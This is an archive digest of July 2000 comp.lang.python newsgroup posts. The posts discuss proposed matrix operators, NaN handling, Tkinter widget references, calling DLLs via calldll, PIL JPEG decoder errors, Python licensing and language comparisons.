to mind.  I think this is more common than checking for method attributes
and then supporting different interfaces.

In more general terms, you have to pick or create an interface that covers
the important bases.  Often enough it's not worth the trouble, and people
do use alternate input parameters etc.  But where it works out, it could
make the function more flexible and yet simpler, by pushing the support for
different inputs back on the input objects themselves.  Polymorphism.

	Donn Cave, donn at u.washington.edu


From gregory.lielens at fft.be  Thu Jul 20 12:17:22 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 18:17:22 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com>
Message-ID: <39772612.CE635178@fft.be>

Tim Hochberg wrote:
> 
> Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> 
> > people keep talking about matrix operations as though there is only one
> > way to do one kind of matrix multiply; I use at least two (inner, outer)
> > commonly, but others eg Kronecker or Lie are certainly in use. I don't
> > think any proposal which doesn't address this is likely to get my vote.
> 
> Well Konrad mentioned [x] or (x) which gives you a lot more symbolic
> room. For instance one could use [x] for outer products since you can
> take an outer "product" with essentially any operation. (*) would be
> matrix multiply, (/) would be matrix "divide", we'd still be searching
> for a solve operator though. (.) Could be some other inner product.

I like the parethese a lot! except for ? which is probably out of
question, 
this is the prettier way to do it, but (alwas a but :-( )

- the solve operator indeed...The only thing i can come with is the ugly
(%)
  or the pretty but out-of-question (\)
- patching the parser to deal with that looks a lot more difficult than
@ or even
  . variants (this is doable - in fact, this is already done...) because
I think
  (){}[] are treated in a more specific way by the Grammar...I think to
implement that
  we need a real Grammar guru!

> Although, there's a fair amount of "symbol" space in this kind of operator
> scheme, but there's still an issue in that for dimensions greater than
> two, there's no way to specify which axis to apply the inner products
> on. I'm not sure there's any good way to do that with infix notation though.

Check my previous post...This could be improved, though, because there
is no way to
specify the order for matching the dummy indices in the two arrays.
Being able to
change the order of the indices for the result should also be looked
for, and
if any clean way to express that is found, we would be able to express
anything which is doable
using einsteinian convention, i.e. a lot of thing (all thing)...This
would rule imho!

maybe something as (I adopt (*) for matrix product, may the parser do
the same!)

a = b.i(1,2,-1,-2) (*) c.i(4,-2,3,-1)

for

a_ijkl = b_ijmn c_lnkm

Then having two "inner products" would allow to default one to
contracting the last index of b with the first of c, making a fine
matrix multiply, the other to make no contration (making a fine outer
product), when no i markers are provided, i.e.

b (*) c is a "default" inner product, matrix product if Nd =2 for b and
c
b[*] c is an outer product, no contraction



I personally like it a lot, the only problem (escept for the parser, but
probably someone could do it if I fail)
is the solve...maybe we could go without, with the help of transposes,
as if I make no mistakes, using / for div , \ for solve
and .H for transpose-conjugate

c = a\b =  (b.H/a.H).H

...if transpose conjugate is cheap, i could be a (not perfect) solution


Greg.


From hzhu at localhost.localdomain  Mon Jul 17 19:46:27 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 23:46:27 GMT
Subject: Does Python have "not a number" floating point values?
References: <8l03pc$92co$1@nntp6.u.washington.edu>
Message-ID: <slrn8n76tg.2jc.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 16:10:36 -0700, Russell E. Owen
<owen at astroNOJNK.washington.edu.invalid> wrote: 
>Does Python support any sort of floating point "not a number" (e.g. IEEE 
>infinity)?

This seems to work and is used in MatPy (taken from several replies I got here):

Inf = inf = 1e300**2
NaN = nan = inf - inf

Huaiyu
-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From grey at despair.rpglink.com  Fri Jul 28 12:31:23 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 16:31:23 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <3981B034.80FACD08@fft.be>
Message-ID: <slrn8o3d6p.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 18:09:24 +0200, Gregory Lielens <gregory.lielens at fft.be>
wrote:
>Whether or not non-programmer makes this link (text representation/numeric
>value), I do not know in general,  but I think I could reasonable assume than
>people with mathematical background will not do it, and thus find Python more
>suitable to their way of thinking than perl...

    Fair enough.  In fact, interesting post.  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From fichou at katamail.com  Wed Jul 26 15:39:33 2000
From: fichou at katamail.com (Patrick Fichou)
Date: Wed, 26 Jul 2000 21:39:33 +0200
Subject: Python 3000
Message-ID: <8lneqf$f3m$1@serv1.albacom.net>

Wot is (or will be) Python 3000 ?






From moshez at math.huji.ac.il  Sat Jul 15 03:15:38 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 15 Jul 2000 10:15:38 +0300 (IDT)
Subject: Discussion: Introducing new operators for matrix computation
In-Reply-To: <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com>
Message-ID: <Pine.GSO.4.10.10007151013070.26622-100000@sundial>

On Sat, 15 Jul 2000, Huaiyu Zhu wrote:

> How would you write this in list compresension (in less than 10 lines)?
> 
> B*(sin(A*x+b).*(A*y)/3)/C

B*[sin(a)*b/3; for a,b in transpose([A*x+b, A*y])]/C

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From moshez at math.huji.ac.il  Fri Jul 14 13:27:35 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 14 Jul 2000 20:27:35 +0300 (IDT)
Subject: ?Neil Schemenauer's GC patch in python1.6?
In-Reply-To: <396F3FA6.6EBC62BA@email.sps.mot.com>
Message-ID: <Pine.GSO.4.10.10007142025580.22525-100000@sundial>

On Fri, 14 Jul 2000, Norman Shelley wrote:

> Is Neil Schemenauer's GC patch scheduled to be in python1.6?

Note that Python's release from PythonLabs (the one you're talking about)
is called Python 2.0.

And yes, it will be in there -- but it's not yet certain whether it will
be enabled or disabled by default. If it's important to you and you're
building Python from source, you can enable it at any rate.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From Armin at Steinhoff_de  Sun Jul 16 17:12:57 2000
From: Armin at Steinhoff_de (Armin Steinhoff)
Date: 16 Jul 2000 14:12:57 -0700
Subject: Funding vs Python
References: <8kt4rj$d4n$1@nnrp1.deja.com>
Message-ID: <8kt8gp$bg@drn.newsguy.com>

In article <8kt4rj$d4n$1 at nnrp1.deja.com>, Andy says...
>
>I was tired of hearing a friend talk about how wonderful Python is,
>so I decided to learn Python by using it to implement a product that
>the official implementation team thought would take experts 1-2 man
>years using numerous Java buzz-words.  A month later, I'm still a
>Python newbie, but I'm close enough to done that I'm looking at
>the rev 2 feature list.  (The experts are still trying to hire
>but are going to start any day because other folks like running
>code more than they like plans.)
>
>No good deed goes unpunished, so now I'm getting push back along the
>lines of "we can't get funded if it's in Python".  (Somehow, I don't
>think that using Perl would have produced the same reaction.)

Well ... compile your Python sources into C++ or use JPython in order to 
generate JAVA code :-))

Regards

Armin

>
>I've seen the list of web projects at python.org, so I'm wondering
>if there are others or if there really are examples of companies that
>didn't get funded because they used Python.
>
>-andy
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.



From jhylton at my-deja.com  Sat Jul  8 12:13:08 2000
From: jhylton at my-deja.com (Jeremy Hylton)
Date: Sat, 08 Jul 2000 16:13:08 GMT
Subject: Python Job Board [was Re: job offer]
References: <8k2a7p$mi71@imsp212.netvigator.com> <8k2asd$gin$1@slb0.atl.mindspring.net> <8k2ilp$aao$1@nnrp1.deja.com>
Message-ID: <8k7jue$f42$1@nnrp1.deja.com>

The Job Board has been updated with several new advertisements.
http://www.python.org/Jobs.html

Thanks to Roger Masse at CNRI for taking care of the backlog.

Jeremy




Sent via Deja.com http://www.deja.com/
Before you buy.


From ssthapa at midway.uchicago.edu  Sat Jul  1 17:17:45 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Sat, 01 Jul 2000 21:17:45 GMT
Subject: MD5 - Passwords with python
References: <6e7dj8.bvb.ln@iiab.soluma.de> <8jd74i$16vk@newton.cc.rl.ac.uk> <2vegj8.ia5.ln@odin.hmf.de>
Message-ID: <slrn8lpqsg.47q.ssthapa@ntcs-ip48.uchicago.edu>

holger at fuessler-net.de <holger at fuessler-net.de> wrote:
>Hallo!
>
>Now I've got it. It's f for followup and not r for reply mail (in TIN). I
>was wondering if somebody kills my followups ;-)
>
>Unfortunately, the standard MD5-module doesn't know about the structure of
>the password-string so I can't encode a password with it. I found a perl
>module which accomplishs my task and so I thought that there is also a python
>module. I thought redhat uses a lot of python stuff, so there should be a
>routine to generate suitable passwords. I'v already posted in
>comp.redhat.security. When I find the details, I'll post them here (if I can
>translate them to python). 

    I vaguely remember the format of the passwd string from having to
modify crack to use it.  Basically the beginning of the string has a salt 
enclosed between $'s.  This is either appended or prepended to the password
and a md5sum is taken. I believe this is right but YMMV.


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From neilh at scintilla.org  Sun Jul 30 08:07:59 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 30 Jul 2000 12:07:59 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com>
Message-ID: <zUUg5.16220$4p3.129370@news-server.bigpond.net.au>

> Can somebody tell me, how a dll call from Python works on principal? Let
us
> suppose I'd like to something like caldll. Where should I start. Which
> Python "primitives" have I to use?

   I can explain how to use calldll. If you want to know how to write your
own extensions then you should read the "Extending and Embedding the Python
Interpreter" document which is part of the standard documentation package
and should have been installed when you installed Python.

   calldll is a low level Python extension libary which contains functions
for creating buffers, loading DLLs, finding the address of functions within
the loaded DLLs, and calling the functions. On top of that is a higher level
windll module that makes it more convenient to call.

   Here is a sequence of calls:

import calldll
kernel32 = calldll.load_library('kernel32.dll')
Beep = calldll.get_proc_address(kernel32, "Beep")
ret = calldll.call_foreign_function(Beep,'ll','l',(1000,500))

   Neil









From pduffin at hursley.ibm.com  Fri Jul 28 08:13:30 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Fri, 28 Jul 2000 13:13:30 +0100
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial>
Message-ID: <398178EA.7576E13A@hursley.ibm.com>

Moshe Zadka wrote:
>
> Because numbers are numbers and strings are not. Given, Python's numeric
> model is not very good.
> 

What is wrong with Python's numeric model ?


From paul at prescod.net  Fri Jul 21 16:42:20 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 15:42:20 -0500
Subject: Accessing current namespace's dictionary...
References: <Q22e5.37016$6y5.24957758@news2.rdc2.tx.home.com>
Message-ID: <3978B5AC.FDA9EAB8@prescod.net>

Michael Morrison wrote:
> 
> ...
> 
> I'm trying to access the module that is running namespace dictionary, but I
> can't seem to find a way to do it.

It's called globals().

>>> globals()["foo"]="bar"
>>> dir()
['__builtins__', '__doc__', '__name__', 'foo']

I'm not sure whether it is a documented feature that it is writable or
not.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From sholden at bellatlantic.net  Thu Jul  6 16:47:52 2000
From: sholden at bellatlantic.net (Steve Holden)
Date: Thu, 06 Jul 2000 20:47:52 GMT
Subject: Win32com ADO curiosity #1: MoveNext
References: <8k2pnc$f64$1@nnrp1.deja.com>
Message-ID: <3964F05E.62FA2B3B@bellatlantic.net>

mksql at my-deja.com wrote:
> 
> In the following code (rs refers to an ADO recordset already created):
> 
>     print rs.Fields(1).Value
>     rs.MoveNext
>     print rs.Fields(1).Value
> 
> prints the same record twice, while:
> 
>     print rs.Fields(1).Value
>     rs.MoveNext()
>     print rs.Fields(1).Value
> 
> prints 2 records, as expected.
> 
> Why does MoveNext require the () ? The ADO object model does not
> specify parameters for MoveNext, MoveFirst, etc.
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.

The MoveNext procedure has to be called, not referred to.  Unlike VBScript,
Python required the parentheses even when no parameters are passed into
the call.

regards
 Steve
-- 
Helping people meet their information needs with training and technology.
703 967 0887   sholden at bellatlantic.net   http://home.cox.rr.com/sholden/


From anders.eriksson at morateknikutveckling.se  Thu Jul 27 08:36:29 2000
From: anders.eriksson at morateknikutveckling.se (Anders M Eriksson)
Date: Thu, 27 Jul 2000 14:36:29 +0200
Subject: PIL and JPEG
Message-ID: <kpa0oss0cnb5ehod1iqkad8thhfkjohcrm@4ax.com>

Hello!

I have a program that uses PIL to create Thumbnails of images. When I
try to do this on a JPEG image I get this error:

Traceback (innermost last):
  File "/home/user10/d9712mor/public_html/cgi-bin/Postcard.py", line
5, in ?
    Montys.PServer.CreatePreview()
  File "/import/user10/d9712mor/python/Montys/PServer.py", line 109,
in CreatePreview
    CreateThumbnail(imagedir,i)
  File "/import/user10/d9712mor/python/Montys/PServer.py", line 33, in
CreateThumbnail
    im.thumbnail((75, 112))
  File "/import/user10/d9712mor/python/PIL/Image.py", line 724, in
thumbnail
    self.load()
  File "/import/user10/d9712mor/python/PIL/ImageFile.py", line 133, in
load
    d = Image._getdecoder(self.mode, d, a, self.decoderconfig)
  File "/import/user10/d9712mor/python/PIL/Image.py", line 229, in
_getdecoder
    raise IOError, "decoder %s not available" % decoder_name
IOError: decoder jpeg not available


I realize that PIL thinks that I haven't linked in the JPEG library,
which I have!! All the compiling and linking is working OK == no
errors.

Python/PIL is only using the _imaging.so and all the python code for
this? I don't need any path to the libjpeg.a do I?


I'm using 
	Python 1.5.1
	PIL 1.0
	Independent JPEG Group's JPEG software version 6b

	Solaris 5.6

If someone has a clue PLEASE help!!

// Anders



From mpotter27 at my-deja.com.bbs  Wed Jul 12 16:00:10 2000
From: mpotter27 at my-deja.com.bbs (mpotter27 at my-deja.com.bbs)
Date: 12 Jul 2000 20:00:10 GMT
Subject: Tkinter destroy() and mem leaks
Message-ID: <3bNSCA$mOS@openbazaar.net>

Hi,

I have what is probably a rather naive question, but here goes...

I puzzled as to why invoking the destroy() method on a widget fails to
remove the reference to it's master? As far as I can tell from the code
it removes the references in master.children, removes all it's own
children entries, etc.. but retains it's self.master reference.

For example:

>>> from Tkinter import *
>>> import sys
>>> f = Frame()
>>> b = Button(f)
>>> sys.getrefcount(f)
4
>>> f.destroy()
>>> sys.getrefcount(f)
3
>>> b.master
<Tkinter.Frame instance at 10280840>
>>> f.children
{}
>>> b.master = None
>>> sys.getrefcount(f)
2

This typically isn't a problem as long as the master doesn't hold any
references to the child other than via .children. However, the
situation that made me notice this was one in which I made a simple-
minded "mega-widget" by subclassing Frame and having it store
references to a number of subwidgets as attributes:

class myFrame(Frame):

    def __init__(self,parent = None):
        Frame.__init__(self,parent)
        self.button = Button(self,command=self.callback)

    def callback(self):
        pass

If used so:

frame = myFrame()
frame.destroy()
del(frame)

It leaks memory as the button references the myFrame instance
via .master and myFrame references the button via self.button.

Now one could avoid this by structuring the code differently, but it
seems that simply having Tkinter.BaseWidget.destroy set self.master =
None would solve the problem. It seems that destroy should remove all
the Tkinter specific "stuff" from the python proxy object. However I'm
sure there's a reason it doesn't. I'd be grateful if someone could tell
me what it is.

Sorry for the long post!

Mike Potter

Center for Advanced Research in Biotechnology
9600 Gudelsky Dr
Rockville, MD 20850
potterm at erols.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From akuchlin at mems-exchange.org  Mon Jul 10 18:26:34 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 10 Jul 2000 18:26:34 -0400
Subject: Application testing
References: <8kdafd$2nj$1@bob.news.rcn.net>
Message-ID: <3d66qd1v1h.fsf@kronos.cnri.reston.va.us>

"Mark Haselup" <mhaselup at clicktomarket.com> writes:
> I have been informed that I can use Python (or some of it's extensions) to
> capture and replay the http traffic between the Browser and the Webserver to
> simulate a user session. Unfortunately I've not been able to find any

Hmm... Medusa (http://www.nightmare.com/medusa/) includes a simple
socket proxier as a demo program; it can be placed between a client
and server to log the data that flows between them, with no
understanding of the protocol.  If this proxier understood the
structure of HTTP, it could probably distinguish the transactions and
record them for later replay.

--amk


From SCook at pobox.com  Fri Jul 21 20:45:04 2000
From: SCook at pobox.com (Steve)
Date: Sat, 22 Jul 2000 00:45:04 GMT
Subject: MySQL on Win9X
References: <slrn8ngf36.f1p.kain@cableadmin.com> <IoYd5.199$kp4.2368@m2newsread.uni2.es>
Message-ID: <k86e5.8492$4p3.62137@news-server.bigpond.net.au>

Go here http://www.mysql.com/downloads/mysql-3.23.html

You can download the official Win9x/NT install package.  MySQL 3.23 is now
under the GPL so you can get it for windows without paying for it, like you
have to for 3.22


"Fernando Rodr?guez" <frr at mindless.com> wrote in message
news:IoYd5.199$kp4.2368 at m2newsread.uni2.es...
>
> "Scott" <kain at cableadmin.com> escribi? en el mensaje
> news:slrn8ngf36.f1p.kain at cableadmin.com...
> > Hello,
> >
> > Are there any pre-compiled MySQL modules for windows?  I've found the
> > sources but don't have nor can I install a compiler on this machine.
>
> I'm looking for the same thing, so please let me know if you ever find
> one. :-)
>
>




From aahz at netcom.com  Thu Jul 27 18:07:26 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 27 Jul 2000 22:07:26 GMT
Subject: New operators needed? (was Re: Discussion: new operators for numerical computation)
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr>
Message-ID: <8lqbqu$uhm$1@slb2.atl.mindspring.net>

In article <m3lmypfdwe.fsf at chinon.cnrs-orleans.fr>,
Konrad Hinsen  <hinsen at cnrs-orleans.fr> wrote:
>
>You raise an important point: adding operators may not be the best
>solution at all.
>
>With the ongoing rework of NumPy that turns arrays into Python classes
>with an underlying C implementation, it would be possible to have an
>"array" and a "matrix" class with different semantics, but sharing
>most of the code and having equal performance. Conversion between the
>two would also be possible at basically no cost, and C modules could
>be written to accept both.

Huzzah!  "And there was much rejoicing in the land...."
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From mjackson at wc.eso.mc.xerox.com  Thu Jul 27 09:21:54 2000
From: mjackson at wc.eso.mc.xerox.com (Mark Jackson)
Date: 27 Jul 2000 13:21:54 GMT
Subject: The State of Python
References: <8lpbs3$oac$2@newshost.accu.uu.nl>
Message-ID: <8lpd1i$ili$1@news.wrc.xerox.com>

m.faassen at vet.uu.nl (Martijn Faassen) writes:
> Guido van Rossum <guido at beopen.com> wrote:
> > A preview of what we will announce:
> [snip]
> 
> Ah, good, I was hoping for some clarification. I couldn't keep track of
> the soap very well; who had died, who had returned with memory loss,
> who's a good guy, who's a bad guy, if the blind guy will be 
> miraculously healed, will the marriage succeed, and what version numbers
> they all have. And why.

If you unexpectedly find Larry Wall in your shower, be afraid.  Be very
afraid.

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	A doctor can bury his mistakes, but an architect can only
	advise his client to plant vines.
				- Frank Lloyd Wright




From nospam.newton at gmx.li.bbs  Tue Jul 18 02:30:01 2000
From: nospam.newton at gmx.li.bbs (nospam.newton at gmx.li.bbs)
Date: 18 Jul 2000 06:30:01 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bRe7P$keK@openbazaar.net>

On Mon, 17 Jul 2000 13:08:52 -0500, Paul Prescod <paul at prescod.net>
wrote:

> the (equally unlikely) death of Unix would drive Perl users to
> Python)

Why would ex-Perl-on-Unix-users have to switch to Python if their
platform disappeared? What makes you think (nearly) no-one on Mac OS or
Win32 uses Perl?

Cheers,
Philip
--
Philip Newton <nospam.newton at gmx.li>
If you're not part of the solution, you're part of the precipitate.


From nobody at nowhere.nohow  Mon Jul 31 10:37:47 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Mon, 31 Jul 2000 14:37:47 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <39846ECC.DF5FE175@san.rr.com> <slrn8o92u3.171.nobody@isis.visi.com> <39848FFE.948BF635@san.rr.com> <slrn8o9nm4.a10.nobody@isis.visi.com> <3984E1F2.3C131999@san.rr.com>
Message-ID: <slrn8ob3pr.sck.nobody@isis.visi.com>

In article <3984E1F2.3C131999 at san.rr.com>, Courageous wrote:

>Well, golly, I dunno. What is it we're arguing about? :)

Nothing, apparently.  :)

>Anyway, I don't believe that, just because real objects behave
>that way means that it follows that python labels should have
>type tags. Which isn't to say that's what you were saying and
>all.... but, gosh, I thought you were....

No, but I think somebody else may have been.  I was arguing that having
allowable operations determined by the type of object was intuitive to
non-programmers since that's they way our interaction with real
physical-word objects work.

As opposed to the proposition that "data is data" and since it doesn't
really exist, it doesn't have any type, and any piece of data should be able
to be operated on by any operator or method.  Or something like that.

-- 
Grant Edwards                   grante             Yow!  My Aunt MAUREEN was
                                  at               a military advisor to IKE
                               visi.com            & TINA TURNER!!


From musingattheruins at my-deja.com  Fri Jul 21 13:15:40 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Fri, 21 Jul 2000 17:15:40 GMT
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com>
Message-ID: <8la0fa$l9r$1@nnrp1.deja.com>

In article <8l9vb3$kae$1 at nnrp1.deja.com>,
  Guillaume <forums at memoire.com> wrote:
>
> > > I'm writing a tool to translate a variety of OO
> > > programming languages. Especially I target Python
> > > but I am hesitating about the way to define
> > > class-scope static variables. Could you suggest me
> > > what is the best and natural form ?
> > >
> > > Example: MyClass { static int a; }
> > > - MyClass_a
> > class MyClass:
> >     #define class attribute
> >     a = 0
> >     def method(self):
> >         #use class attribute
> >         do_something_with(MyClass.a)
> >
> > #use class attribute outside of MyClass
> > do_something_else_with(MyClass.a)
>
> Thanx for the answer but...
>
> >>> class CA:
> ...     a=0
> ...
> >>> b=CA()
> >>> b.a
> 0
> >>> b.a=2
> >>> c=CA()
> >>> c.a
> 0
> >>> b.a
> 2
>
> # c.a should be 2 and not 0 if a is a static attribute.

you are attaching a per-object variable with b.a=2 try CA.a - i think
you will find it is still 0.
regards,
bill


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Sun Jul  9 07:52:58 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sun, 09 Jul 2000 21:52:58 +1000
Subject: [FAQTS] Python Knowledge Base Update -- July 6th, 2000
References: <20000706115459.24950.qmail@synop.com> <slrn8mgin3.1k1.hzhu@localhost.localdomain>
Message-ID: <3968679A.C8550D36@sitegnome.com>

Huaiyu Zhu wrote:
> 
> On 6 Jul 2000 11:54:59 -0000, Fiona Czuczman <fiona at sitegnome.com> wrote:
> >
> >"Many thanks to Hans Nowak for providing FAQTs with his collection of
> >snippets for entry into http://python.faqts.com.
> >
> >They can be found directly at
> >
> >http://www.faqts.com/knowledge-base/index.phtml/fid/538/lang/en
> 
> Congratuations for your excellent work!
> 
> Where is the original snippets collection?  And how do I submit new ones?
> Shall I post them here?  I'd prefer not using web forms.

Originally the snippets were located here

http://tor.dhs.org/~zephyrfalcon/snippets

however this link seems to be no longer available.  When Hans originally
wrote to me he advised that he would be closing his python snippets site
down and offered them to FAQTs.

Contributing new snippets: either enter them directly into the forms on
the site or, if you'd prefer not to do that :-) , please just send an
email to me personally with the snippet(s) and I'll enter them on your
behalf.

Thanks,

Fiona Czuczman


From ssthapa at midway.uchicago.edu  Tue Jul 11 11:14:22 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Tue, 11 Jul 2000 15:14:22 GMT
Subject: Anyone used Python for GPIB instrument control?
References: <39668E65.356337BF@home.com> <3967E902.AE41CF0D@attglobal.net>
Message-ID: <slrn8mhh3a.5t3.ssthapa@ntcs-ip48.uchicago.edu>

Jon McLin <jon_mclin at attglobal.net> wrote:
>The Linux Lab project has a gpib driver, and Python wrappers are included.  I
>believe the drivers emulate the NI drivers, so this wrapper should work for you.
>
>ftp://ftp.llp.fu-berlin.de/pub/linux/LINUX-LAB/IEEE488/

    The last I've heard about the Linux GPIB driver, was that it was 
pretty flaky and wasn't reliable enough to use in a production environment.
However, that may have changed.


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From kuchler at ajubasolutions.com  Thu Jul 27 17:09:24 2000
From: kuchler at ajubasolutions.com (Dan Kuchler)
Date: Thu, 27 Jul 2000 14:09:24 -0700
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com> <slrn8o1co0.k64.stianh@localhost.localdomain> <8lqg6o$k2k$1@slb1.atl.mindspring.net>
Message-ID: <3980A504.7A771655@ajubasolutions.com>

Andrew Dalke wrote:
> 
> Right, and then I would still be using Tcl or start looking at
> Lua or Ruby or other languages.

Tcl is licensed under the BSD license (which is less at least a
standard license, and is not as restrictive as the GPL license).

One advantage of using the BSD license is that it allows the language
to be used as part of a commercial product, without the rest of the
source for that product having to be open sourced.

This has allowed tcl to be used in lots of commercial products.

I hope that whatever license Python ends up with, that it will
promote the use of Python and won't restrict its applications.

--Dan


From fgeiger at datec.at  Fri Jul 21 13:56:42 2000
From: fgeiger at datec.at (Franz GEIGER)
Date: Fri, 21 Jul 2000 19:56:42 +0200
Subject: Python on Win32: How to freeze? How to hide the system console?
Message-ID: <8la2o6$hfu$1@pollux.ip-plus.net>

New to Python I have 2 q's:

1) Does anybody "freeze" his Python scripts dev'ed on and for Windows
machines? How? Is Tkinter code freezed too? What's the result? A single EXE
file?

2) How can I hide the system console on a Windows machine running a Python
script using Tkinter?

Any hint is appreciated. Thanks in advance and regards
Franz GEIGER




From jkraska1 at san.rr.com  Fri Jul 28 01:52:03 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Fri, 28 Jul 2000 05:52:03 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <39812033.8A8D88E1@san.rr.com>

> But the irony now is that ZOPE will be 'opened' to PERL too. I have
> read through the 'debates' going on in the zope mailing list, but it
> still doesn't make sense - why allow Zope to be polluted by something
> that is clearly deficient?

Because it would be the moral equivalent to walking into
a bank and telling them they had to ditch all of their
COBOL programs. You'd get laughed right out of Dodge. :)



C/


From lau at adtranzsig.de  Fri Jul 21 02:20:32 2000
From: lau at adtranzsig.de (Ralf Laukien)
Date: Fri, 21 Jul 2000 08:20:32 +0200
Subject: Checking for end of a file
References: <InId5.59171$ZI2.2276534@news1.rdc1.on.wave.home.com>
Message-ID: <3977EBB0.1FA706EC@adtranzsig.de>

Two possibilities for text file iteration:

I)

for row in file.readlines():
  .....

II)

row = file.readline()

while row != '':
  .....
  row = file.readline()


Ralf

CB schrieb:
> 
> If I'm iterating through a text file, reading one line at a time within a
> while statement, how do I check for the end of file.  I tried while
> filename.eof and filename.eof() but to no avail?
> 
> Colin


From jwbnews at scandaroon.com  Mon Jul 24 18:31:53 2000
From: jwbnews at scandaroon.com (John W. Baxter)
Date: Mon, 24 Jul 2000 15:31:53 -0700
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com> <8lifaa$1bb$1@agate.berkeley.edu>
Message-ID: <jwbnews-2FB2DC.15315324072000@news.olympus.net>

In article <8lifaa$1bb$1 at agate.berkeley.edu>, ejr at lotus.CS.Berkeley.EDU 
(Edward Jason Riedy) wrote:

> Next interesting discussion:  How to add radix-10, IEEE 854 support...

You mean I may someday be able to put aside my answers to the "why 
doesn't 2/10 print as 0.2 as we all know it should?" sorts of questions?

Too much to hope for.

   --John (hoping anyhow)

-- 
John W. Baxter   Port Ludlow, WA USA  jwbnews at scandaroon.com


From info at pythonware.com  Fri Jul 28 08:20:39 2000
From: info at pythonware.com (PythonWare)
Date: Fri, 28 Jul 2000 14:20:39 +0200
Subject: ANNOUNCEMENT: PythonWorks Evaluation Version now available!
Message-ID: <00c701bff88e$3effcfe0$0900a8c0@SPIFF>

for those of you who haven't already seen it:

    An evaluation copy of PythonWorks 1.0.1 is now available
    from the PythonWare site:

        http://www.pythonware.com/products/works
